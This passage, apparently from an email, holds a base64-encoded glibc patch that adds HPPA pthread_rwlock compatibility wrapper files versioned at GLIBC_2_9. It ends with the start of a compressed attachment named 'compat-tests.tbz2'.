KyAgIExpY2Vuc2UgYXMgcHVibGlzaGVkIGJ5IHRoZSBGcmVlIFNvZnR3YXJl
IEZvdW5kYXRpb247IGVpdGhlcgorICAgdmVyc2lvbiAyLjEgb2YgdGhlIExp
Y2Vuc2UsIG9yIChhdCB5b3VyIG9wdGlvbikgYW55IGxhdGVyIHZlcnNpb24u
CisKKyAgIFRoZSBHTlUgQyBMaWJyYXJ5IGlzIGRpc3RyaWJ1dGVkIGluIHRo
ZSBob3BlIHRoYXQgaXQgd2lsbCBiZSB1c2VmdWwsCisgICBidXQgV0lUSE9V
VCBBTlkgV0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJy
YW50eSBvZgorICAgTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEg
UEFSVElDVUxBUiBQVVJQT1NFLiAgU2VlIHRoZSBHTlUKKyAgIExlc3NlciBH
ZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCisKKyAg
IFlvdSBzaG91bGQgaGF2ZSByZWNlaXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBM
ZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYWxvbmcgd2l0aCB0
aGUgR05VIEMgTGlicmFyeTsgaWYgbm90LCB3cml0ZSB0byB0aGUgRnJlZQor
ICAgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLiwgNTkgVGVtcGxlIFBsYWNl
LCBTdWl0ZSAzMzAsIEJvc3RvbiwgTUEKKyAgIDAyMTExLTEzMDcgVVNBLiAg
Ki8KKworI2lmbmRlZiBJTkNMVURFRF9TRUxGCisjIGRlZmluZSBJTkNMVURF
RF9TRUxGCisjIGluY2x1ZGUgPHB0aHJlYWRfcndsb2NrX3RpbWVkcmRsb2Nr
LmM+CisjZWxzZQorIyBpbmNsdWRlIDxzaGxpYi1jb21wYXQuaD4KKyMgaW5j
bHVkZSA8bGliYy1zeW1ib2xzLmg+CisjIGluY2x1ZGUgInB0aHJlYWRQLmgi
CisjIHVuZGVmIHN0cm9uZ19hbGlhcworIyBkZWZpbmUgc3Ryb25nX2FsaWFz
KG5hbWUsIGFsaWFzbmFtZSkKKyMgdW5kZWYgcHRocmVhZF9yd2xvY2tfdGlt
ZWRyZGxvY2sKKyMgZGVmaW5lIHB0aHJlYWRfcndsb2NrX3RpbWVkcmRsb2Nr
IF9fcHRocmVhZF9yd2xvY2tfdGltZWRyZGxvY2sKKyMgaW5jbHVkZV9uZXh0
IDxwdGhyZWFkX3J3bG9ja190aW1lZHJkbG9jay5jPgorIyB1bmRlZiBzdHJv
bmdfYWxpYXMKKyMgZGVmaW5lIHN0cm9uZ19hbGlhcyhuYW1lLCBhbGlhc25h
bWUpIF9zdHJvbmdfYWxpYXMobmFtZSwgYWxpYXNuYW1lKQorIyB1bmRlZiBw
dGhyZWFkX3J3bG9ja190aW1lZHJkbG9jawordmVyc2lvbmVkX3N5bWJvbCAo
bGlicHRocmVhZCwgX19wdGhyZWFkX3J3bG9ja190aW1lZHJkbG9jaywKKwkJ
ICBwdGhyZWFkX3J3bG9ja190aW1lZHJkbG9jaywgR0xJQkNfMl85KTsKKyNl
bmRpZgorCkluZGV4OiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25w
dGwvcHRocmVhZF9yd2xvY2tfdGltZWR3cmxvY2suYwo9PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09ClJDUyBmaWxlOiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9o
cHBhL25wdGwvcHRocmVhZF9yd2xvY2tfdGltZWR3cmxvY2suYwpkaWZmIC1O
IHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9wdGhyZWFkX3J3
bG9ja190aW1lZHdybG9jay5jCi0tLSAvZGV2L251bGwJMSBKYW4gMTk3MCAw
MDowMDowMCAtMDAwMAorKysgc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBw
YS9ucHRsL3B0aHJlYWRfcndsb2NrX3RpbWVkd3Jsb2NrLmMJMiBBcHIgMjAw
OSAwMjozNDowMyAtMDAwMApAQCAtMCwwICsxLDM4IEBACisvKiBDb3B5cmln
aHQgKEMpIDIwMDkgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBJbmMuCisg
ICBUaGlzIGZpbGUgaXMgcGFydCBvZiB0aGUgR05VIEMgTGlicmFyeS4KKyAg
IENvbnRyaWJ1dGVkIGJ5IENhcmxvcyBPJ0RvbmVsbCA8Y2FybG9zQGNvZGVz
b3VyY2VyeS5jb20+LCAyMDA5LgorCisgICBUaGUgR05VIEMgTGlicmFyeSBp
cyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBhbmQv
b3IKKyAgIG1vZGlmeSBpdCB1bmRlciB0aGUgdGVybXMgb2YgdGhlIEdOVSBM
ZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYXMgcHVibGlzaGVk
IGJ5IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb247IGVpdGhlcgorICAg
dmVyc2lvbiAyLjEgb2YgdGhlIExpY2Vuc2UsIG9yIChhdCB5b3VyIG9wdGlv
bikgYW55IGxhdGVyIHZlcnNpb24uCisKKyAgIFRoZSBHTlUgQyBMaWJyYXJ5
IGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBob3BlIHRoYXQgaXQgd2lsbCBiZSB1
c2VmdWwsCisgICBidXQgV0lUSE9VVCBBTlkgV0FSUkFOVFk7IHdpdGhvdXQg
ZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBvZgorICAgTUVSQ0hBTlRBQklM
SVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFLiAgU2Vl
IHRoZSBHTlUKKyAgIExlc3NlciBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZv
ciBtb3JlIGRldGFpbHMuCisKKyAgIFlvdSBzaG91bGQgaGF2ZSByZWNlaXZl
ZCBhIGNvcHkgb2YgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAg
IExpY2Vuc2UgYWxvbmcgd2l0aCB0aGUgR05VIEMgTGlicmFyeTsgaWYgbm90
LCB3cml0ZSB0byB0aGUgRnJlZQorICAgU29mdHdhcmUgRm91bmRhdGlvbiwg
SW5jLiwgNTkgVGVtcGxlIFBsYWNlLCBTdWl0ZSAzMzAsIEJvc3RvbiwgTUEK
KyAgIDAyMTExLTEzMDcgVVNBLiAgKi8KKworI2lmbmRlZiBJTkNMVURFRF9T
RUxGCisjIGRlZmluZSBJTkNMVURFRF9TRUxGCisjIGluY2x1ZGUgPHB0aHJl
YWRfcndsb2NrX3RpbWVkd3Jsb2NrLmM+CisjZWxzZQorIyBpbmNsdWRlIDxz
aGxpYi1jb21wYXQuaD4KKyMgaW5jbHVkZSA8bGliYy1zeW1ib2xzLmg+Cisj
IGluY2x1ZGUgInB0aHJlYWRQLmgiCisjIHVuZGVmIHN0cm9uZ19hbGlhcwor
IyBkZWZpbmUgc3Ryb25nX2FsaWFzKG5hbWUsIGFsaWFzbmFtZSkKKyMgdW5k
ZWYgcHRocmVhZF9yd2xvY2tfdGltZWRyZGxvY2sKKyMgZGVmaW5lIHB0aHJl
YWRfcndsb2NrX3RpbWVkd3Jsb2NrIF9fcHRocmVhZF9yd2xvY2tfdGltZWR3
cmxvY2sKKyMgaW5jbHVkZV9uZXh0IDxwdGhyZWFkX3J3bG9ja190aW1lZHdy
bG9jay5jPgorIyB1bmRlZiBzdHJvbmdfYWxpYXMKKyMgZGVmaW5lIHN0cm9u
Z19hbGlhcyhuYW1lLCBhbGlhc25hbWUpIF9zdHJvbmdfYWxpYXMobmFtZSwg
YWxpYXNuYW1lKQorIyB1bmRlZiBwdGhyZWFkX3J3bG9ja190aW1lZHdybG9j
awordmVyc2lvbmVkX3N5bWJvbCAobGlicHRocmVhZCwgX19wdGhyZWFkX3J3
bG9ja190aW1lZHdybG9jaywKKwkJICBwdGhyZWFkX3J3bG9ja190aW1lZHdy
bG9jaywgR0xJQkNfMl85KTsKKyNlbmRpZgorCkluZGV4OiBzeXNkZXBzL3Vu
aXgvc3lzdi9saW51eC9ocHBhL25wdGwvcHRocmVhZF9yd2xvY2tfdHJ5cmRs
b2NrLmMKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpSQ1MgZmlsZTogc3lzZGVw
cy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL3B0aHJlYWRfcndsb2NrX3Ry
eXJkbG9jay5jCmRpZmYgLU4gc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBw
YS9ucHRsL3B0aHJlYWRfcndsb2NrX3RyeXJkbG9jay5jCi0tLSAvZGV2L251
bGwJMSBKYW4gMTk3MCAwMDowMDowMCAtMDAwMAorKysgc3lzZGVwcy91bml4
L3N5c3YvbGludXgvaHBwYS9ucHRsL3B0aHJlYWRfcndsb2NrX3RyeXJkbG9j
ay5jCTIgQXByIDIwMDkgMDI6MzQ6MDMgLTAwMDAKQEAgLTAsMCArMSwzNSBA
QAorLyogQ29weXJpZ2h0IChDKSAyMDA5IEZyZWUgU29mdHdhcmUgRm91bmRh
dGlvbiwgSW5jLgorICAgVGhpcyBmaWxlIGlzIHBhcnQgb2YgdGhlIEdOVSBD
IExpYnJhcnkuCisgICBDb250cmlidXRlZCBieSBDYXJsb3MgTydEb25lbGwg
PGNhcmxvc0Bjb2Rlc291cmNlcnkuY29tPiwgMjAwOS4KKworICAgVGhlIEdO
VSBDIExpYnJhcnkgaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3Ry
aWJ1dGUgaXQgYW5kL29yCisgICBtb2RpZnkgaXQgdW5kZXIgdGhlIHRlcm1z
IG9mIHRoZSBHTlUgTGVzc2VyIEdlbmVyYWwgUHVibGljCisgICBMaWNlbnNl
IGFzIHB1Ymxpc2hlZCBieSB0aGUgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9u
OyBlaXRoZXIKKyAgIHZlcnNpb24gMi4xIG9mIHRoZSBMaWNlbnNlLCBvciAo
YXQgeW91ciBvcHRpb24pIGFueSBsYXRlciB2ZXJzaW9uLgorCisgICBUaGUg
R05VIEMgTGlicmFyeSBpcyBkaXN0cmlidXRlZCBpbiB0aGUgaG9wZSB0aGF0
IGl0IHdpbGwgYmUgdXNlZnVsLAorICAgYnV0IFdJVEhPVVQgQU5ZIFdBUlJB
TlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxpZWQgd2FycmFudHkgb2YKKyAg
IE1FUkNIQU5UQUJJTElUWSBvciBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIg
UFVSUE9TRS4gIFNlZSB0aGUgR05VCisgICBMZXNzZXIgR2VuZXJhbCBQdWJs
aWMgTGljZW5zZSBmb3IgbW9yZSBkZXRhaWxzLgorCisgICBZb3Ugc2hvdWxk
IGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBHTlUgTGVzc2VyIEdlbmVy
YWwgUHVibGljCisgICBMaWNlbnNlIGFsb25nIHdpdGggdGhlIEdOVSBDIExp
YnJhcnk7IGlmIG5vdCwgd3JpdGUgdG8gdGhlIEZyZWUKKyAgIFNvZnR3YXJl
IEZvdW5kYXRpb24sIEluYy4sIDU5IFRlbXBsZSBQbGFjZSwgU3VpdGUgMzMw
LCBCb3N0b24sIE1BCisgICAwMjExMS0xMzA3IFVTQS4gICovCisKKyNpZm5k
ZWYgSU5DTFVERURfU0VMRgorIyBkZWZpbmUgSU5DTFVERURfU0VMRgorIyBp
bmNsdWRlIDxwdGhyZWFkX3J3bG9ja190cnlyZGxvY2suYz4KKyNlbHNlCisj
IGluY2x1ZGUgPHNobGliLWNvbXBhdC5oPgorIyBpbmNsdWRlIDxsaWJjLXN5
bWJvbHMuaD4KKyMgaW5jbHVkZSAicHRocmVhZFAuaCIKKyMgdW5kZWYgc3Ry
b25nX2FsaWFzCisjIGRlZmluZSBzdHJvbmdfYWxpYXMobmFtZSwgYWxpYXNu
YW1lKQorIyBpbmNsdWRlX25leHQgPHB0aHJlYWRfcndsb2NrX3RyeXJkbG9j
ay5jPgorIyB1bmRlZiBzdHJvbmdfYWxpYXMKKyMgZGVmaW5lIHN0cm9uZ19h
bGlhcyhuYW1lLCBhbGlhc25hbWUpIF9zdHJvbmdfYWxpYXMobmFtZSwgYWxp
YXNuYW1lKQordmVyc2lvbmVkX3N5bWJvbCAobGlicHRocmVhZCwgX19wdGhy
ZWFkX3J3bG9ja190cnlyZGxvY2ssCisJCSAgcHRocmVhZF9yd2xvY2tfdHJ5
cmRsb2NrLCBHTElCQ18yXzkpOworI2VuZGlmCisKSW5kZXg6IHN5c2RlcHMv
dW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9wdGhyZWFkX3J3bG9ja190cnl3
cmxvY2suYwo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ClJDUyBmaWxlOiBzeXNk
ZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwvcHRocmVhZF9yd2xvY2tf
dHJ5d3Jsb2NrLmMKZGlmZiAtTiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9o
cHBhL25wdGwvcHRocmVhZF9yd2xvY2tfdHJ5d3Jsb2NrLmMKLS0tIC9kZXYv
bnVsbAkxIEphbiAxOTcwIDAwOjAwOjAwIC0wMDAwCisrKyBzeXNkZXBzL3Vu
aXgvc3lzdi9saW51eC9ocHBhL25wdGwvcHRocmVhZF9yd2xvY2tfdHJ5d3Js
b2NrLmMJMiBBcHIgMjAwOSAwMjozNDowMyAtMDAwMApAQCAtMCwwICsxLDM1
IEBACisvKiBDb3B5cmlnaHQgKEMpIDIwMDkgRnJlZSBTb2Z0d2FyZSBGb3Vu
ZGF0aW9uLCBJbmMuCisgICBUaGlzIGZpbGUgaXMgcGFydCBvZiB0aGUgR05V
IEMgTGlicmFyeS4KKyAgIENvbnRyaWJ1dGVkIGJ5IENhcmxvcyBPJ0RvbmVs
bCA8Y2FybG9zQGNvZGVzb3VyY2VyeS5jb20+LCAyMDA5LgorCisgICBUaGUg
R05VIEMgTGlicmFyeSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlz
dHJpYnV0ZSBpdCBhbmQvb3IKKyAgIG1vZGlmeSBpdCB1bmRlciB0aGUgdGVy
bXMgb2YgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vu
c2UgYXMgcHVibGlzaGVkIGJ5IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRp
b247IGVpdGhlcgorICAgdmVyc2lvbiAyLjEgb2YgdGhlIExpY2Vuc2UsIG9y
IChhdCB5b3VyIG9wdGlvbikgYW55IGxhdGVyIHZlcnNpb24uCisKKyAgIFRo
ZSBHTlUgQyBMaWJyYXJ5IGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBob3BlIHRo
YXQgaXQgd2lsbCBiZSB1c2VmdWwsCisgICBidXQgV0lUSE9VVCBBTlkgV0FS
UkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBvZgor
ICAgTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxB
UiBQVVJQT1NFLiAgU2VlIHRoZSBHTlUKKyAgIExlc3NlciBHZW5lcmFsIFB1
YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCisKKyAgIFlvdSBzaG91
bGQgaGF2ZSByZWNlaXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBMZXNzZXIgR2Vu
ZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYWxvbmcgd2l0aCB0aGUgR05VIEMg
TGlicmFyeTsgaWYgbm90LCB3cml0ZSB0byB0aGUgRnJlZQorICAgU29mdHdh
cmUgRm91bmRhdGlvbiwgSW5jLiwgNTkgVGVtcGxlIFBsYWNlLCBTdWl0ZSAz
MzAsIEJvc3RvbiwgTUEKKyAgIDAyMTExLTEzMDcgVVNBLiAgKi8KKworI2lm
bmRlZiBJTkNMVURFRF9TRUxGCisjIGRlZmluZSBJTkNMVURFRF9TRUxGCisj
IGluY2x1ZGUgPHB0aHJlYWRfcndsb2NrX3RyeXdybG9jay5jPgorI2Vsc2UK
KyMgaW5jbHVkZSA8c2hsaWItY29tcGF0Lmg+CisjIGluY2x1ZGUgPGxpYmMt
c3ltYm9scy5oPgorIyBpbmNsdWRlICJwdGhyZWFkUC5oIgorIyB1bmRlZiBz
dHJvbmdfYWxpYXMKKyMgZGVmaW5lIHN0cm9uZ19hbGlhcyhuYW1lLCBhbGlh
c25hbWUpCisjIGluY2x1ZGVfbmV4dCA8cHRocmVhZF9yd2xvY2tfdHJ5d3Js
b2NrLmM+CisjIHVuZGVmIHN0cm9uZ19hbGlhcworIyBkZWZpbmUgc3Ryb25n
X2FsaWFzKG5hbWUsIGFsaWFzbmFtZSkgX3N0cm9uZ19hbGlhcyhuYW1lLCBh
bGlhc25hbWUpCit2ZXJzaW9uZWRfc3ltYm9sIChsaWJwdGhyZWFkLCBfX3B0
aHJlYWRfcndsb2NrX3RyeXdybG9jaywKKwkJICBwdGhyZWFkX3J3bG9ja190
cnl3cmxvY2ssIEdMSUJDXzJfOSk7CisjZW5kaWYKKwpJbmRleDogc3lzZGVw
cy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL3B0aHJlYWRfcndsb2NrX3Vu
bG9jay5jCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KUkNTIGZpbGU6IHN5c2Rl
cHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9wdGhyZWFkX3J3bG9ja191
bmxvY2suYwpkaWZmIC1OIHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEv
bnB0bC9wdGhyZWFkX3J3bG9ja191bmxvY2suYwotLS0gL2Rldi9udWxsCTEg
SmFuIDE5NzAgMDA6MDA6MDAgLTAwMDAKKysrIHN5c2RlcHMvdW5peC9zeXN2
L2xpbnV4L2hwcGEvbnB0bC9wdGhyZWFkX3J3bG9ja191bmxvY2suYwkyIEFw
ciAyMDA5IDAyOjM0OjAzIC0wMDAwCkBAIC0wLDAgKzEsNDAgQEAKKy8qIENv
cHlyaWdodCAoQykgMjAwOSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb24sIElu
Yy4KKyAgIFRoaXMgZmlsZSBpcyBwYXJ0IG9mIHRoZSBHTlUgQyBMaWJyYXJ5
LgorICAgQ29udHJpYnV0ZWQgYnkgQ2FybG9zIE8nRG9uZWxsIDxjYXJsb3NA
Y29kZXNvdXJjZXJ5LmNvbT4sIDIwMDkuCisKKyAgIFRoZSBHTlUgQyBMaWJy
YXJ5IGlzIGZyZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0cmlidXRlIGl0
IGFuZC9vcgorICAgbW9kaWZ5IGl0IHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUg
R05VIExlc3NlciBHZW5lcmFsIFB1YmxpYworICAgTGljZW5zZSBhcyBwdWJs
aXNoZWQgYnkgdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbjsgZWl0aGVy
CisgICB2ZXJzaW9uIDIuMSBvZiB0aGUgTGljZW5zZSwgb3IgKGF0IHlvdXIg
b3B0aW9uKSBhbnkgbGF0ZXIgdmVyc2lvbi4KKworICAgVGhlIEdOVSBDIExp
YnJhcnkgaXMgZGlzdHJpYnV0ZWQgaW4gdGhlIGhvcGUgdGhhdCBpdCB3aWxs
IGJlIHVzZWZ1bCwKKyAgIGJ1dCBXSVRIT1VUIEFOWSBXQVJSQU5UWTsgd2l0
aG91dCBldmVuIHRoZSBpbXBsaWVkIHdhcnJhbnR5IG9mCisgICBNRVJDSEFO
VEFCSUxJVFkgb3IgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0Uu
ICBTZWUgdGhlIEdOVQorICAgTGVzc2VyIEdlbmVyYWwgUHVibGljIExpY2Vu
c2UgZm9yIG1vcmUgZGV0YWlscy4KKworICAgWW91IHNob3VsZCBoYXZlIHJl
Y2VpdmVkIGEgY29weSBvZiB0aGUgR05VIExlc3NlciBHZW5lcmFsIFB1Ymxp
YworICAgTGljZW5zZSBhbG9uZyB3aXRoIHRoZSBHTlUgQyBMaWJyYXJ5OyBp
ZiBub3QsIHdyaXRlIHRvIHRoZSBGcmVlCisgICBTb2Z0d2FyZSBGb3VuZGF0
aW9uLCBJbmMuLCA1OSBUZW1wbGUgUGxhY2UsIFN1aXRlIDMzMCwgQm9zdG9u
LCBNQQorICAgMDIxMTEtMTMwNyBVU0EuICAqLworCisjaWZuZGVmIElOQ0xV
REVEX1NFTEYKKyMgZGVmaW5lIElOQ0xVREVEX1NFTEYKKyMgaW5jbHVkZSA8
cHRocmVhZF9yd2xvY2tfdW5sb2NrLmM+CisjZWxzZQorIyBpbmNsdWRlIDxz
aGxpYi1jb21wYXQuaD4KKyMgaW5jbHVkZSA8bGliYy1zeW1ib2xzLmg+Cisj
IGluY2x1ZGUgInB0aHJlYWRQLmgiCisjIHVuZGVmIHN0cm9uZ19hbGlhcwor
IyBkZWZpbmUgc3Ryb25nX2FsaWFzKG5hbWUsIGFsaWFzbmFtZSkKKyMgdW5k
ZWYgd2Vha19hbGlhcworIyBkZWZpbmUgd2Vha19hbGlhcyhuYW1lLCBhbGlh
c25hbWUpCisjIGluY2x1ZGVfbmV4dCA8cHRocmVhZF9yd2xvY2tfdW5sb2Nr
LmM+CisjIHVuZGVmIHN0cm9uZ19hbGlhcworIyBkZWZpbmUgc3Ryb25nX2Fs
aWFzKG5hbWUsIGFsaWFzbmFtZSkgX3N0cm9uZ19hbGlhcyhuYW1lLCBhbGlh
c25hbWUpCisjIHVuZGVmIHdlYWtfYWxpYXMKKyMgZGVmaW5lIHdlYWtfYWxp
YXMobmFtZSwgYWxpYXNuYW1lKSBfd2Vha19hbGlhcyhuYW1lLCBhbGlhc25h
bWUpCit2ZXJzaW9uZWRfc3ltYm9sIChsaWJwdGhyZWFkLCBfX3B0aHJlYWRf
cndsb2NrX3VubG9jaywKKwkJICBwdGhyZWFkX3J3bG9ja191bmxvY2ssIEdM
SUJDXzJfOSk7CitzdHJvbmdfYWxpYXMgKF9fcHRocmVhZF9yd2xvY2tfdW5s
b2NrLCBfX3B0aHJlYWRfcndsb2NrX3VubG9ja19pbnRlcm5hbCkKKyNlbmRp
ZgorCkluZGV4OiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwv
cHRocmVhZF9yd2xvY2tfd3Jsb2NrLmMKPT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PQpSQ1MgZmlsZTogc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRs
L3B0aHJlYWRfcndsb2NrX3dybG9jay5jCmRpZmYgLU4gc3lzZGVwcy91bml4
L3N5c3YvbGludXgvaHBwYS9ucHRsL3B0aHJlYWRfcndsb2NrX3dybG9jay5j
Ci0tLSAvZGV2L251bGwJMSBKYW4gMTk3MCAwMDowMDowMCAtMDAwMAorKysg
c3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL3B0aHJlYWRfcnds
b2NrX3dybG9jay5jCTIgQXByIDIwMDkgMDI6MzQ6MDMgLTAwMDAKQEAgLTAs
MCArMSw0MCBAQAorLyogQ29weXJpZ2h0IChDKSAyMDA5IEZyZWUgU29mdHdh
cmUgRm91bmRhdGlvbiwgSW5jLgorICAgVGhpcyBmaWxlIGlzIHBhcnQgb2Yg
dGhlIEdOVSBDIExpYnJhcnkuCisgICBDb250cmlidXRlZCBieSBDYXJsb3Mg
TydEb25lbGwgPGNhcmxvc0Bjb2Rlc291cmNlcnkuY29tPiwgMjAwOS4KKwor
ICAgVGhlIEdOVSBDIExpYnJhcnkgaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNh
biByZWRpc3RyaWJ1dGUgaXQgYW5kL29yCisgICBtb2RpZnkgaXQgdW5kZXIg
dGhlIHRlcm1zIG9mIHRoZSBHTlUgTGVzc2VyIEdlbmVyYWwgUHVibGljCisg
ICBMaWNlbnNlIGFzIHB1Ymxpc2hlZCBieSB0aGUgRnJlZSBTb2Z0d2FyZSBG
b3VuZGF0aW9uOyBlaXRoZXIKKyAgIHZlcnNpb24gMi4xIG9mIHRoZSBMaWNl
bnNlLCBvciAoYXQgeW91ciBvcHRpb24pIGFueSBsYXRlciB2ZXJzaW9uLgor
CisgICBUaGUgR05VIEMgTGlicmFyeSBpcyBkaXN0cmlidXRlZCBpbiB0aGUg
aG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLAorICAgYnV0IFdJVEhPVVQg
QU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxpZWQgd2FycmFu
dHkgb2YKKyAgIE1FUkNIQU5UQUJJTElUWSBvciBGSVRORVNTIEZPUiBBIFBB
UlRJQ1VMQVIgUFVSUE9TRS4gIFNlZSB0aGUgR05VCisgICBMZXNzZXIgR2Vu
ZXJhbCBQdWJsaWMgTGljZW5zZSBmb3IgbW9yZSBkZXRhaWxzLgorCisgICBZ
b3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBHTlUgTGVz
c2VyIEdlbmVyYWwgUHVibGljCisgICBMaWNlbnNlIGFsb25nIHdpdGggdGhl
IEdOVSBDIExpYnJhcnk7IGlmIG5vdCwgd3JpdGUgdG8gdGhlIEZyZWUKKyAg
IFNvZnR3YXJlIEZvdW5kYXRpb24sIEluYy4sIDU5IFRlbXBsZSBQbGFjZSwg
U3VpdGUgMzMwLCBCb3N0b24sIE1BCisgICAwMjExMS0xMzA3IFVTQS4gICov
CisKKyNpZm5kZWYgSU5DTFVERURfU0VMRgorIyBkZWZpbmUgSU5DTFVERURf
U0VMRgorIyBpbmNsdWRlIDxwdGhyZWFkX3J3bG9ja193cmxvY2suYz4KKyNl
bHNlCisjIGluY2x1ZGUgPHNobGliLWNvbXBhdC5oPgorIyBpbmNsdWRlIDxs
aWJjLXN5bWJvbHMuaD4KKyMgaW5jbHVkZSAicHRocmVhZFAuaCIKKyMgdW5k
ZWYgc3Ryb25nX2FsaWFzCisjIGRlZmluZSBzdHJvbmdfYWxpYXMobmFtZSwg
YWxpYXNuYW1lKQorIyB1bmRlZiB3ZWFrX2FsaWFzCisjIGRlZmluZSB3ZWFr
X2FsaWFzKG5hbWUsIGFsaWFzbmFtZSkKKyMgaW5jbHVkZV9uZXh0IDxwdGhy
ZWFkX3J3bG9ja193cmxvY2suYz4KKyMgdW5kZWYgc3Ryb25nX2FsaWFzCisj
IGRlZmluZSBzdHJvbmdfYWxpYXMobmFtZSwgYWxpYXNuYW1lKSBfc3Ryb25n
X2FsaWFzKG5hbWUsIGFsaWFzbmFtZSkKKyMgdW5kZWYgd2Vha19hbGlhcwor
IyBkZWZpbmUgd2Vha19hbGlhcyhuYW1lLCBhbGlhc25hbWUpIF93ZWFrX2Fs
aWFzKG5hbWUsIGFsaWFzbmFtZSkKK3ZlcnNpb25lZF9zeW1ib2wgKGxpYnB0
aHJlYWQsIF9fcHRocmVhZF9yd2xvY2tfd3Jsb2NrLAorCQkgIHB0aHJlYWRf
cndsb2NrX3dybG9jaywgR0xJQkNfMl85KTsKK3N0cm9uZ19hbGlhcyAoX19w
dGhyZWFkX3J3bG9ja193cmxvY2ssIF9fcHRocmVhZF9yd2xvY2tfd3Jsb2Nr
X2ludGVybmFsKQorI2VuZGlmCisK

--001485f1ea66023bb6046689710f
Content-Type: application/x-bzip-compressed-tar; name="compat-tests.tbz2"
Content-Disposition: attachment; filename="compat-tests.tbz2"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_ft0ubqwf2

QlpoOTFBWSZTWcbLIdkAFUv/pP/wAQB/f//////f/v//3/oQEAADAAhgE576
F867pRaPRprUuK7qPe4V2r1SqpPXdSwZ0MVIpDqRNombADQ0LWwyalJtIaAP
UaGgD1ABiD1G1ANGQAABp6gA0GKGgmKnqeqeSGgAGgAABoaAAAAAAAcMRppo
NAGgAAABoMg00DQAaNAGIaASaURFB6mpsRoENNMjQA00NAAAAADTQDQAiUIm
QJoVP9Ke0DVTeJpJ+lP1NoppoepmpvQo9RpoabJAaZpHpAESRCYgTE00U9BK
M8oj9SDxqh+p6iD1AyGg0GgNqep6gyf3XN+5+g+fm2j03/+kwWFCCExVF6S7
vdVMLoLcbT2YVXswrIh7et1zXsMA8lkQUgAQGpARINRkGiRElIURF53wIRjH
efaP3MY2G5h2b1VrKtSxGZL7esr6zp+orv4Olz4a9l/ecHBHJRxreWJPnQuV
N1kCSBQahvQANP2HWhYsI3O8g5ZRgxiVGg4Vb0aZf7lYBtIXzoAjlSZtgMEC
w2bMbWCGGZggkmZZDKCwMsLmkltkLaTA4UZRixESDcFDMfM/Pi6icTOP3eXz
2TRs6MyA5AwPEveFrDNgCYs43L0TmvyiiA+ZADhJFFFRDh4OTe+eBNNnL5de
